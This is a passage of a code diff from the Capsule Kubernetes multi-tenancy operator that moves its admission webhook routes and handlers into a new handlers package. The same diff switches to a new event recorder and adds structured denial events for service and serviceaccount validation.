    -func (w *configValidating) GetHandlers() []capsulewebhook.Handler {
    +func (w *configValidating) GetHandlers() []handlers.Handler {
     	return w.handlers
     }
     
    
  • internal/webhook/route/cordoning.go+4 6 modified
    @@ -3,22 +3,20 @@
     
     package route
     
    -import (
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
    -)
    +import "github.com/projectcapsule/capsule/pkg/runtime/handlers"
     
     type cordoning struct {
    -	handlers []capsulewebhook.Handler
    +	handlers []handlers.Handler
     }
     
    -func Cordoning(handlers ...capsulewebhook.Handler) capsulewebhook.Webhook {
    +func Cordoning(handlers ...handlers.Handler) handlers.Webhook {
     	return &cordoning{handlers: handlers}
     }
     
     func (w cordoning) GetPath() string {
     	return "/cordoning"
     }
     
    -func (w cordoning) GetHandlers() []capsulewebhook.Handler {
    +func (w cordoning) GetHandlers() []handlers.Handler {
     	return w.handlers
     }
    
  • internal/webhook/route/customresources.go+4 6 modified
    @@ -3,19 +3,17 @@
     
     package route
     
    -import (
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
    -)
    +import "github.com/projectcapsule/capsule/pkg/runtime/handlers"
     
     type customResourcesHandler struct {
    -	handlers []capsulewebhook.Handler
    +	handlers []handlers.Handler
     }
     
    -func CustomResources(handlers ...capsulewebhook.Handler) capsulewebhook.Webhook {
    +func CustomResources(handlers ...handlers.Handler) handlers.Webhook {
     	return &customResourcesHandler{handlers: handlers}
     }
     
    -func (w *customResourcesHandler) GetHandlers() []capsulewebhook.Handler {
    +func (w *customResourcesHandler) GetHandlers() []handlers.Handler {
     	return w.handlers
     }
     
    
  • internal/webhook/route/defaults.go+4 6 modified
    @@ -3,19 +3,17 @@
     
     package route
     
    -import (
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
    -)
    +import "github.com/projectcapsule/capsule/pkg/runtime/handlers"
     
     type defaults struct {
    -	handlers []capsulewebhook.Handler
    +	handlers []handlers.Handler
     }
     
    -func Defaults(handler ...capsulewebhook.Handler) capsulewebhook.Webhook {
    +func Defaults(handler ...handlers.Handler) handlers.Webhook {
     	return &defaults{handlers: handler}
     }
     
    -func (w *defaults) GetHandlers() []capsulewebhook.Handler {
    +func (w *defaults) GetHandlers() []handlers.Handler {
     	return w.handlers
     }
     
    
  • internal/webhook/route/deviceclass.go+4 6 modified
    @@ -3,19 +3,17 @@
     
     package route
     
    -import (
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
    -)
    +import "github.com/projectcapsule/capsule/pkg/runtime/handlers"
     
     type deviceClass struct {
    -	handlers []capsulewebhook.Handler
    +	handlers []handlers.Handler
     }
     
    -func DeviceClass(handler ...capsulewebhook.Handler) capsulewebhook.Webhook {
    +func DeviceClass(handler ...handlers.Handler) handlers.Webhook {
     	return &deviceClass{handlers: handler}
     }
     
    -func (w *deviceClass) GetHandlers() []capsulewebhook.Handler {
    +func (w *deviceClass) GetHandlers() []handlers.Handler {
     	return w.handlers
     }
     
    
  • internal/webhook/route/gateway.go+4 6 modified
    @@ -3,19 +3,17 @@
     
     package route
     
    -import (
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
    -)
    +import "github.com/projectcapsule/capsule/pkg/runtime/handlers"
     
     type gateway struct {
    -	handlers []capsulewebhook.Handler
    +	handlers []handlers.Handler
     }
     
    -func Gateway(handler ...capsulewebhook.Handler) capsulewebhook.Webhook {
    +func Gateway(handler ...handlers.Handler) handlers.Webhook {
     	return &gateway{handlers: handler}
     }
     
    -func (w *gateway) GetHandlers() []capsulewebhook.Handler {
    +func (w *gateway) GetHandlers() []handlers.Handler {
     	return w.handlers
     }
     
    
  • internal/webhook/route/ingresses.go+4 6 modified
    @@ -3,19 +3,17 @@
     
     package route
     
    -import (
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
    -)
    +import "github.com/projectcapsule/capsule/pkg/runtime/handlers"
     
     type ingress struct {
    -	handlers []capsulewebhook.Handler
    +	handlers []handlers.Handler
     }
     
    -func Ingress(handler ...capsulewebhook.Handler) capsulewebhook.Webhook {
    +func Ingress(handler ...handlers.Handler) handlers.Webhook {
     	return &ingress{handlers: handler}
     }
     
    -func (w *ingress) GetHandlers() []capsulewebhook.Handler {
    +func (w *ingress) GetHandlers() []handlers.Handler {
     	return w.handlers
     }
     
    
  • internal/webhook/route/misc.go+20 6 modified
    @@ -3,22 +3,36 @@
     
     package route
     
    -import (
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
    -)
    +import "github.com/projectcapsule/capsule/pkg/runtime/handlers"
     
     type miscTenantAssignment struct {
    -	handlers []capsulewebhook.Handler
    +	handlers []handlers.Handler
     }
     
    -func TenantAssignment(handlers ...capsulewebhook.Handler) capsulewebhook.Webhook {
    +func MiscTenantAssignment(handlers ...handlers.Handler) handlers.Webhook {
     	return &miscTenantAssignment{handlers: handlers}
     }
     
     func (w miscTenantAssignment) GetPath() string {
     	return "/misc/tenant-label"
     }
     
    -func (w miscTenantAssignment) GetHandlers() []capsulewebhook.Handler {
    +func (w miscTenantAssignment) GetHandlers() []handlers.Handler {
     	return w.handlers
     }
    +
    +type miscManagedValidation struct {
    +	handlers []handlers.Handler
    +}
    +
    +func MiscManagedValidation(handlers ...handlers.Handler) handlers.Webhook {
    +	return &miscManagedValidation{handlers: handlers}
    +}
    +
    +func (t miscManagedValidation) GetPath() string {
    +	return "/misc/managed"
    +}
    +
    +func (t miscManagedValidation) GetHandlers() []handlers.Handler {
    +	return t.handlers
    +}
    
  • internal/webhook/route/namespaces.go+7 9 modified
    @@ -4,19 +4,17 @@
     //nolint:dupl
     package route
     
    -import (
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
    -)
    +import "github.com/projectcapsule/capsule/pkg/runtime/handlers"
     
     type namespace struct {
    -	handlers []capsulewebhook.Handler
    +	handlers []handlers.Handler
     }
     
    -func NamespaceValidation(handler ...capsulewebhook.Handler) capsulewebhook.Webhook {
    +func NamespaceValidation(handler ...handlers.Handler) handlers.Webhook {
     	return &namespace{handlers: handler}
     }
     
    -func (w *namespace) GetHandlers() []capsulewebhook.Handler {
    +func (w *namespace) GetHandlers() []handlers.Handler {
     	return w.handlers
     }
     
    @@ -25,14 +23,14 @@ func (w *namespace) GetPath() string {
     }
     
     type namespacePatch struct {
    -	handlers []capsulewebhook.Handler
    +	handlers []handlers.Handler
     }
     
    -func NamespaceMutation(handlers ...capsulewebhook.Handler) capsulewebhook.Webhook {
    +func NamespaceMutation(handlers ...handlers.Handler) handlers.Webhook {
     	return &namespacePatch{handlers: handlers}
     }
     
    -func (w *namespacePatch) GetHandlers() []capsulewebhook.Handler {
    +func (w *namespacePatch) GetHandlers() []handlers.Handler {
     	return w.handlers
     }
     
    
  • internal/webhook/route/networkpolicies.go+4 6 modified
    @@ -3,19 +3,17 @@
     
     package route
     
    -import (
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
    -)
    +import "github.com/projectcapsule/capsule/pkg/runtime/handlers"
     
     type networkPolicy struct {
    -	handlers []capsulewebhook.Handler
    +	handlers []handlers.Handler
     }
     
    -func NetworkPolicy(handler ...capsulewebhook.Handler) capsulewebhook.Webhook {
    +func NetworkPolicy(handler ...handlers.Handler) handlers.Webhook {
     	return &networkPolicy{handlers: handler}
     }
     
    -func (w *networkPolicy) GetHandlers() []capsulewebhook.Handler {
    +func (w *networkPolicy) GetHandlers() []handlers.Handler {
     	return w.handlers
     }
     
    
  • internal/webhook/route/node.go+4 6 modified
    @@ -3,19 +3,17 @@
     
     package route
     
    -import (
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
    -)
    +import "github.com/projectcapsule/capsule/pkg/runtime/handlers"
     
     type node struct {
    -	handlers []capsulewebhook.Handler
    +	handlers []handlers.Handler
     }
     
    -func Node(handler ...capsulewebhook.Handler) capsulewebhook.Webhook {
    +func Node(handler ...handlers.Handler) handlers.Webhook {
     	return &node{handlers: handler}
     }
     
    -func (n *node) GetHandlers() []capsulewebhook.Handler {
    +func (n *node) GetHandlers() []handlers.Handler {
     	return n.handlers
     }
     
    
  • internal/webhook/route/ownerreference.go+7 9 modified
    @@ -3,22 +3,20 @@
     
     package route
     
    -import (
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
    -)
    +import "github.com/projectcapsule/capsule/pkg/runtime/handlers"
     
    -type webhook struct {
    -	handlers []capsulewebhook.Handler
    +type ownerreference struct {
    +	handlers []handlers.Handler
     }
     
    -func OwnerReference(handlers ...capsulewebhook.Handler) capsulewebhook.Webhook {
    -	return &webhook{handlers: handlers}
    +func OwnerReference(handlers ...handlers.Handler) handlers.Webhook {
    +	return &ownerreference{handlers: handlers}
     }
     
    -func (w *webhook) GetHandlers() []capsulewebhook.Handler {
    +func (w *ownerreference) GetHandlers() []handlers.Handler {
     	return w.handlers
     }
     
    -func (w *webhook) GetPath() string {
    +func (w *ownerreference) GetPath() string {
     	return "/namespace-owner-reference"
     }
    
  • internal/webhook/route/pods.go+4 6 modified
    @@ -3,19 +3,17 @@
     
     package route
     
    -import (
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
    -)
    +import "github.com/projectcapsule/capsule/pkg/runtime/handlers"
     
     type pod struct {
    -	handlers []capsulewebhook.Handler
    +	handlers []handlers.Handler
     }
     
    -func Pod(handler ...capsulewebhook.Handler) capsulewebhook.Webhook {
    +func Pod(handler ...handlers.Handler) handlers.Webhook {
     	return &pod{handlers: handler}
     }
     
    -func (w *pod) GetHandlers() []capsulewebhook.Handler {
    +func (w *pod) GetHandlers() []handlers.Handler {
     	return w.handlers
     }
     
    
  • internal/webhook/route/pvc.go+4 6 modified
    @@ -3,19 +3,17 @@
     
     package route
     
    -import (
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
    -)
    +import "github.com/projectcapsule/capsule/pkg/runtime/handlers"
     
     type pvc struct {
    -	handlers []capsulewebhook.Handler
    +	handlers []handlers.Handler
     }
     
    -func PVC(handler ...capsulewebhook.Handler) capsulewebhook.Webhook {
    +func PVC(handler ...handlers.Handler) handlers.Webhook {
     	return &pvc{handlers: handler}
     }
     
    -func (w *pvc) GetHandlers() []capsulewebhook.Handler {
    +func (w *pvc) GetHandlers() []handlers.Handler {
     	return w.handlers
     }
     
    
  • internal/webhook/route/resourcepool.go+13 15 modified
    @@ -3,19 +3,17 @@
     
     package route
     
    -import (
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
    -)
    +import "github.com/projectcapsule/capsule/pkg/runtime/handlers"
     
     type poolmutation struct {
    -	handlers []capsulewebhook.Handler
    +	handlers []handlers.Handler
     }
     
    -func ResourcePoolMutation(handler ...capsulewebhook.Handler) capsulewebhook.Webhook {
    +func ResourcePoolMutation(handler ...handlers.Handler) handlers.Webhook {
     	return &poolmutation{handlers: handler}
     }
     
    -func (w *poolmutation) GetHandlers() []capsulewebhook.Handler {
    +func (w *poolmutation) GetHandlers() []handlers.Handler {
     	return w.handlers
     }
     
    @@ -24,14 +22,14 @@ func (w *poolmutation) GetPath() string {
     }
     
     type poolclaimmutation struct {
    -	handlers []capsulewebhook.Handler
    +	handlers []handlers.Handler
     }
     
    -func ResourcePoolClaimMutation(handler ...capsulewebhook.Handler) capsulewebhook.Webhook {
    +func ResourcePoolClaimMutation(handler ...handlers.Handler) handlers.Webhook {
     	return &poolclaimmutation{handlers: handler}
     }
     
    -func (w *poolclaimmutation) GetHandlers() []capsulewebhook.Handler {
    +func (w *poolclaimmutation) GetHandlers() []handlers.Handler {
     	return w.handlers
     }
     
    @@ -40,14 +38,14 @@ func (w *poolclaimmutation) GetPath() string {
     }
     
     type poolValidation struct {
    -	handlers []capsulewebhook.Handler
    +	handlers []handlers.Handler
     }
     
    -func ResourcePoolValidation(handler ...capsulewebhook.Handler) capsulewebhook.Webhook {
    +func ResourcePoolValidation(handler ...handlers.Handler) handlers.Webhook {
     	return &poolValidation{handlers: handler}
     }
     
    -func (w *poolValidation) GetHandlers() []capsulewebhook.Handler {
    +func (w *poolValidation) GetHandlers() []handlers.Handler {
     	return w.handlers
     }
     
    @@ -56,14 +54,14 @@ func (w *poolValidation) GetPath() string {
     }
     
     type poolclaimValidation struct {
    -	handlers []capsulewebhook.Handler
    +	handlers []handlers.Handler
     }
     
    -func ResourcePoolClaimValidation(handler ...capsulewebhook.Handler) capsulewebhook.Webhook {
    +func ResourcePoolClaimValidation(handler ...handlers.Handler) handlers.Webhook {
     	return &poolclaimValidation{handlers: handler}
     }
     
    -func (w *poolclaimValidation) GetHandlers() []capsulewebhook.Handler {
    +func (w *poolclaimValidation) GetHandlers() []handlers.Handler {
     	return w.handlers
     }
     
    
  • internal/webhook/router.go+7 5 modified
    @@ -7,15 +7,17 @@ import (
     	"context"
     
     	admissionv1 "k8s.io/api/admission/v1"
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	controllerruntime "sigs.k8s.io/controller-runtime"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
    +
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
     )
     
    -func Register(manager controllerruntime.Manager, webhookList ...Webhook) error {
    -	recorder := manager.GetEventRecorderFor("tenant-webhook")
    +func Register(manager controllerruntime.Manager, webhookList ...handlers.Webhook) error {
    +	recorder := manager.GetEventRecorder("admission")
     
     	server := manager.GetWebhookServer()
     
    @@ -36,9 +38,9 @@ func Register(manager controllerruntime.Manager, webhookList ...Webhook) error {
     type handlerRouter struct {
     	client   client.Client
     	decoder  admission.Decoder
    -	recorder record.EventRecorder
    +	recorder events.EventRecorder
     
    -	handlers []Handler
    +	handlers []handlers.Handler
     }
     
     func (r *handlerRouter) Handle(ctx context.Context, req admission.Request) admission.Response {
    
  • internal/webhook/route/serviceaccounts.go+4 6 modified
    @@ -3,19 +3,17 @@
     
     package route
     
    -import (
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
    -)
    +import "github.com/projectcapsule/capsule/pkg/runtime/handlers"
     
     type serviceaccounts struct {
    -	handlers []capsulewebhook.Handler
    +	handlers []handlers.Handler
     }
     
    -func ServiceAccounts(handler ...capsulewebhook.Handler) capsulewebhook.Webhook {
    +func ServiceAccounts(handler ...handlers.Handler) handlers.Webhook {
     	return &serviceaccounts{handlers: handler}
     }
     
    -func (w *serviceaccounts) GetHandlers() []capsulewebhook.Handler {
    +func (w *serviceaccounts) GetHandlers() []handlers.Handler {
     	return w.handlers
     }
     
    
  • internal/webhook/route/services.go+4 6 modified
    @@ -3,19 +3,17 @@
     
     package route
     
    -import (
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
    -)
    +import "github.com/projectcapsule/capsule/pkg/runtime/handlers"
     
     type service struct {
    -	handlers []capsulewebhook.Handler
    +	handlers []handlers.Handler
     }
     
    -func Service(handler ...capsulewebhook.Handler) capsulewebhook.Webhook {
    +func Service(handler ...handlers.Handler) handlers.Webhook {
     	return &service{handlers: handler}
     }
     
    -func (w *service) GetHandlers() []capsulewebhook.Handler {
    +func (w *service) GetHandlers() []handlers.Handler {
     	return w.handlers
     }
     
    
  • internal/webhook/route/tenantresource_objs.go+4 6 modified
    @@ -3,22 +3,20 @@
     
     package route
     
    -import (
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
    -)
    +import "github.com/projectcapsule/capsule/pkg/runtime/handlers"
     
     type tntResourceObjs struct {
    -	handlers []capsulewebhook.Handler
    +	handlers []handlers.Handler
     }
     
    -func TenantResourceObjects(handlers ...capsulewebhook.Handler) capsulewebhook.Webhook {
    +func TenantResourceObjects(handlers ...handlers.Handler) handlers.Webhook {
     	return &tntResourceObjs{handlers: handlers}
     }
     
     func (t tntResourceObjs) GetPath() string {
     	return "/tenantresource-objects"
     }
     
    -func (t tntResourceObjs) GetHandlers() []capsulewebhook.Handler {
    +func (t tntResourceObjs) GetHandlers() []handlers.Handler {
     	return t.handlers
     }
    
  • internal/webhook/route/tenants.go+7 9 modified
    @@ -4,19 +4,17 @@
     //nolint:dupl
     package route
     
    -import (
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
    -)
    +import "github.com/projectcapsule/capsule/pkg/runtime/handlers"
     
     type tenantValidating struct {
    -	handlers []capsulewebhook.Handler
    +	handlers []handlers.Handler
     }
     
    -func TenantValidation(handler ...capsulewebhook.Handler) capsulewebhook.Webhook {
    +func TenantValidation(handler ...handlers.Handler) handlers.Webhook {
     	return &tenantValidating{handlers: handler}
     }
     
    -func (w *tenantValidating) GetHandlers() []capsulewebhook.Handler {
    +func (w *tenantValidating) GetHandlers() []handlers.Handler {
     	return w.handlers
     }
     
    @@ -25,14 +23,14 @@ func (w *tenantValidating) GetPath() string {
     }
     
     type tenantMutating struct {
    -	handlers []capsulewebhook.Handler
    +	handlers []handlers.Handler
     }
     
    -func TenantMutation(handler ...capsulewebhook.Handler) capsulewebhook.Webhook {
    +func TenantMutation(handler ...handlers.Handler) handlers.Webhook {
     	return &tenantMutating{handlers: handler}
     }
     
    -func (w *tenantMutating) GetHandlers() []capsulewebhook.Handler {
    +func (w *tenantMutating) GetHandlers() []handlers.Handler {
     	return w.handlers
     }
     
    
  • internal/webhook/serviceaccounts/handler.go+4 5 modified
    @@ -6,15 +6,14 @@ package serviceaccounts
     import (
     	corev1 "k8s.io/api/core/v1"
     
    -	"github.com/projectcapsule/capsule/internal/webhook"
    -	"github.com/projectcapsule/capsule/internal/webhook/utils"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
     )
     
    -func Handler(handlers ...webhook.TypedHandlerWithTenant[*corev1.ServiceAccount]) webhook.Handler {
    -	return &utils.TypedTenantHandler[*corev1.ServiceAccount]{
    +func Handler(handler ...handlers.TypedHandlerWithTenant[*corev1.ServiceAccount]) handlers.Handler {
    +	return &handlers.TypedTenantHandler[*corev1.ServiceAccount]{
     		Factory: func() *corev1.ServiceAccount {
     			return &corev1.ServiceAccount{}
     		},
    -		Handlers: handlers,
    +		Handlers: handler,
     	}
     }
    
  • internal/webhook/serviceaccounts/validating.go+27 15 modified
    @@ -5,36 +5,38 @@ package serviceaccounts
     
     import (
     	"context"
    +	"fmt"
     
     	corev1 "k8s.io/api/core/v1"
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
     	"github.com/projectcapsule/capsule/pkg/api/meta"
    -	"github.com/projectcapsule/capsule/pkg/configuration"
    -	"github.com/projectcapsule/capsule/pkg/utils/users"
    +	"github.com/projectcapsule/capsule/pkg/runtime/configuration"
    +	evt "github.com/projectcapsule/capsule/pkg/runtime/events"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
    +	"github.com/projectcapsule/capsule/pkg/users"
     )
     
     type validating struct {
     	cfg configuration.Configuration
     }
     
    -func Validating(cfg configuration.Configuration) capsulewebhook.TypedHandlerWithTenant[*corev1.ServiceAccount] {
    +func Validating(cfg configuration.Configuration) handlers.TypedHandlerWithTenant[*corev1.ServiceAccount] {
     	return &validating{cfg: cfg}
     }
     
     func (h *validating) OnCreate(
     	c client.Client,
     	sa *corev1.ServiceAccount,
     	decoder admission.Decoder,
    -	recorder record.EventRecorder,
    +	recorder events.EventRecorder,
     	tnt *capsulev1beta2.Tenant,
    -) capsulewebhook.Func {
    +) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
    -		return h.handle(ctx, c, req, sa, tnt)
    +		return h.handle(ctx, c, req, recorder, sa, tnt)
     	}
     }
     
    @@ -43,21 +45,21 @@ func (h *validating) OnUpdate(
     	old *corev1.ServiceAccount,
     	sa *corev1.ServiceAccount,
     	decoder admission.Decoder,
    -	recorder record.EventRecorder,
    +	recorder events.EventRecorder,
     	tnt *capsulev1beta2.Tenant,
    -) capsulewebhook.Func {
    +) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
    -		return h.handle(ctx, c, req, sa, tnt)
    +		return h.handle(ctx, c, req, recorder, sa, tnt)
     	}
     }
     
     func (h *validating) OnDelete(
     	client.Client,
     	*corev1.ServiceAccount,
     	admission.Decoder,
    -	record.EventRecorder,
    +	events.EventRecorder,
     	*capsulev1beta2.Tenant,
    -) capsulewebhook.Func {
    +) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
    @@ -67,6 +69,7 @@ func (h *validating) handle(
     	ctx context.Context,
     	c client.Client,
     	req admission.Request,
    +	recorder events.EventRecorder,
     	sa *corev1.ServiceAccount,
     	tnt *capsulev1beta2.Tenant,
     ) *admission.Response {
    @@ -88,9 +91,18 @@ func (h *validating) handle(
     		return nil
     	}
     
    -	response := admission.Denied(
    -		"not permitted to promote serviceaccounts as owners",
    +	msg := fmt.Sprintf("%s not allowed to promote serviceaccount to tenant owner", req.UserInfo.Username)
    +
    +	recorder.Eventf(
    +		sa,
    +		tnt,
    +		corev1.EventTypeWarning,
    +		evt.ReasonPromotionDenied,
    +		evt.ActionValidationDenied,
    +		msg,
     	)
     
    +	response := admission.Denied(msg)
    +
     	return &response
     }
    
  • internal/webhook/service/handler.go+4 5 modified
    @@ -6,15 +6,14 @@ package service
     import (
     	corev1 "k8s.io/api/core/v1"
     
    -	"github.com/projectcapsule/capsule/internal/webhook"
    -	"github.com/projectcapsule/capsule/internal/webhook/utils"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
     )
     
    -func Handler(handlers ...webhook.TypedHandlerWithTenant[*corev1.Service]) webhook.Handler {
    -	return &utils.TypedTenantHandler[*corev1.Service]{
    +func Handler(handler ...handlers.TypedHandlerWithTenant[*corev1.Service]) handlers.Handler {
    +	return &handlers.TypedTenantHandler[*corev1.Service]{
     		Factory: func() *corev1.Service {
     			return &corev1.Service{}
     		},
    -		Handlers: handlers,
    +		Handlers: handler,
     	}
     }
    
  • internal/webhook/service/validating.go+71 23 modified
    @@ -10,28 +10,30 @@ import (
     
     	"github.com/pkg/errors"
     	corev1 "k8s.io/api/core/v1"
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
     	"github.com/projectcapsule/capsule/pkg/api"
    +	caperrors "github.com/projectcapsule/capsule/pkg/api/errors"
    +	evt "github.com/projectcapsule/capsule/pkg/runtime/events"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
     )
     
     type validating struct{}
     
    -func Validating() capsulewebhook.TypedHandlerWithTenant[*corev1.Service] {
    +func Validating() handlers.TypedHandlerWithTenant[*corev1.Service] {
     	return &validating{}
     }
     
     func (h *validating) OnCreate(
     	c client.Client,
     	svc *corev1.Service,
     	decoder admission.Decoder,
    -	recorder record.EventRecorder,
    +	recorder events.EventRecorder,
     	tnt *capsulev1beta2.Tenant,
    -) capsulewebhook.Func {
    +) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		return h.handle(req, recorder, svc, tnt)
     	}
    @@ -42,9 +44,9 @@ func (h *validating) OnUpdate(
     	old *corev1.Service,
     	svc *corev1.Service,
     	decoder admission.Decoder,
    -	recorder record.EventRecorder,
    +	recorder events.EventRecorder,
     	tnt *capsulev1beta2.Tenant,
    -) capsulewebhook.Func {
    +) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		return h.handle(req, recorder, svc, tnt)
     	}
    @@ -54,58 +56,97 @@ func (h *validating) OnDelete(
     	client.Client,
     	*corev1.Service,
     	admission.Decoder,
    -	record.EventRecorder,
    +	events.EventRecorder,
     	*capsulev1beta2.Tenant,
    -) capsulewebhook.Func {
    +) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
     }
     
     func (h *validating) handle(
     	req admission.Request,
    -	recorder record.EventRecorder,
    +	recorder events.EventRecorder,
     	svc *corev1.Service,
     	tnt *capsulev1beta2.Tenant,
     ) *admission.Response {
     	if svc.Spec.Type == corev1.ServiceTypeNodePort && tnt.Spec.ServiceOptions != nil && tnt.Spec.ServiceOptions.AllowedServices != nil && !*tnt.Spec.ServiceOptions.AllowedServices.NodePort {
    -		recorder.Eventf(tnt, corev1.EventTypeWarning, "ForbiddenNodePort", "Service %s/%s cannot be type of NodePort for the current Tenant", req.Namespace, req.Name)
    +		recorder.Eventf(
    +			svc,
    +			tnt,
    +			corev1.EventTypeWarning,
    +			evt.ReasonForbiddenNodePort,
    +			evt.ActionValidationDenied,
    +			"Cannot be type of NodePort for the Tenant %s", tnt.GetName(),
    +		)
     
    -		response := admission.Denied(NewNodePortDisabledError().Error())
    +		response := admission.Denied(caperrors.NewNodePortDisabledError().Error())
     
     		return &response
     	}
     
     	if svc.Spec.Type == corev1.ServiceTypeExternalName && tnt.Spec.ServiceOptions != nil && tnt.Spec.ServiceOptions.AllowedServices != nil && !*tnt.Spec.ServiceOptions.AllowedServices.ExternalName {
    -		recorder.Eventf(tnt, corev1.EventTypeWarning, "ForbiddenExternalName", "Service %s/%s cannot be type of ExternalName for the current Tenant", req.Namespace, req.Name)
    +		recorder.Eventf(
    +			svc,
    +			tnt,
    +			corev1.EventTypeWarning,
    +			evt.ReasonForbiddenExternalName,
    +			evt.ActionValidationDenied,
    +			"Cannot be type of ExternalName for the Tenant %s", tnt.GetName(),
    +		)
     
    -		response := admission.Denied(NewExternalNameDisabledError().Error())
    +		response := admission.Denied(caperrors.NewExternalNameDisabledError().Error())
     
     		return &response
     	}
     
     	if svc.Spec.Type == corev1.ServiceTypeLoadBalancer && tnt.Spec.ServiceOptions != nil && tnt.Spec.ServiceOptions.AllowedServices != nil && !*tnt.Spec.ServiceOptions.AllowedServices.LoadBalancer {
    -		recorder.Eventf(tnt, corev1.EventTypeWarning, "ForbiddenLoadBalancer", "Service %s/%s cannot be type of LoadBalancer for the current Tenant", req.Namespace, req.Name)
    +		recorder.Eventf(
    +			tnt,
    +			svc,
    +			corev1.EventTypeWarning,
    +			evt.ReasonForbiddenLoadBalancer,
    +			evt.ActionValidationDenied,
    +			"Cannot be type of LoadBalancer for the Tenant %s", tnt.GetName(),
    +		)
     
    -		response := admission.Denied(NewLoadBalancerDisabled().Error())
    +		response := admission.Denied(caperrors.NewLoadBalancerDisabled().Error())
     
     		return &response
     	}
     
     	if tnt.Spec.ServiceOptions != nil {
     		err := api.ValidateForbidden(svc.Annotations, tnt.Spec.ServiceOptions.ForbiddenAnnotations)
     		if err != nil {
    -			err = errors.Wrap(err, "service annotations validation failed")
    -			recorder.Eventf(tnt, corev1.EventTypeWarning, api.ForbiddenAnnotationReason, err.Error())
    +			err = errors.Wrap(err, "annotations validation failed")
    +
    +			recorder.Eventf(
    +				svc,
    +				tnt,
    +				corev1.EventTypeWarning,
    +				evt.ReasonForbiddenAnnotation,
    +				evt.ActionValidationDenied,
    +				err.Error(),
    +			)
    +
     			response := admission.Denied(err.Error())
     
     			return &response
     		}
     
     		err = api.ValidateForbidden(svc.Labels, tnt.Spec.ServiceOptions.ForbiddenLabels)
     		if err != nil {
    -			err = errors.Wrap(err, "service labels validation failed")
    -			recorder.Eventf(tnt, corev1.EventTypeWarning, api.ForbiddenLabelReason, err.Error())
    +			err = errors.Wrap(err, "labels validation failed")
    +
    +			recorder.Eventf(
    +				svc,
    +				tnt,
    +				corev1.EventTypeWarning,
    +				evt.ReasonForbiddenLabel,
    +				evt.ActionValidationDenied,
    +				err.Error(),
    +			)
    +
     			response := admission.Denied(err.Error())
     
     			return &response
    @@ -136,9 +177,16 @@ func (h *validating) handle(
     		ip := net.ParseIP(externalIP)
     
     		if !ipInCIDR(ip) {
    -			recorder.Eventf(tnt, corev1.EventTypeWarning, "ForbiddenExternalServiceIP", "Service %s/%s external IP %s is forbidden for the current Tenant", req.Namespace, req.Name, ip.String())
    -
    -			response := admission.Denied(NewExternalServiceIPForbidden(tnt.Spec.ServiceOptions.ExternalServiceIPs.Allowed).Error())
    +			recorder.Eventf(
    +				svc,
    +				tnt,
    +				corev1.EventTypeWarning,
    +				evt.ReasonForbiddenExternalServiceIP,
    +				evt.ActionValidationDenied,
    +				"External IP %s is forbidden for the Tenant %s", ip.String(), tnt.GetName(),
    +			)
    +
    +			response := admission.Denied(caperrors.NewExternalServiceIPForbidden(tnt.Spec.ServiceOptions.ExternalServiceIPs.Allowed).Error())
     
     			return &response
     		}
    
  • internal/webhook/tenant/mutation/metadata.go+6 6 modified
    @@ -8,35 +8,35 @@ import (
     	"encoding/json"
     	"net/http"
     
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
     	"github.com/projectcapsule/capsule/internal/webhook/utils"
     	"github.com/projectcapsule/capsule/pkg/api/meta"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
     )
     
     type metaHandler struct{}
     
    -func MetaHandler() capsulewebhook.Handler {
    +func MetaHandler() handlers.Handler {
     	return &metaHandler{}
     }
     
    -func (h *metaHandler) OnCreate(_ client.Client, decoder admission.Decoder, _ record.EventRecorder) capsulewebhook.Func {
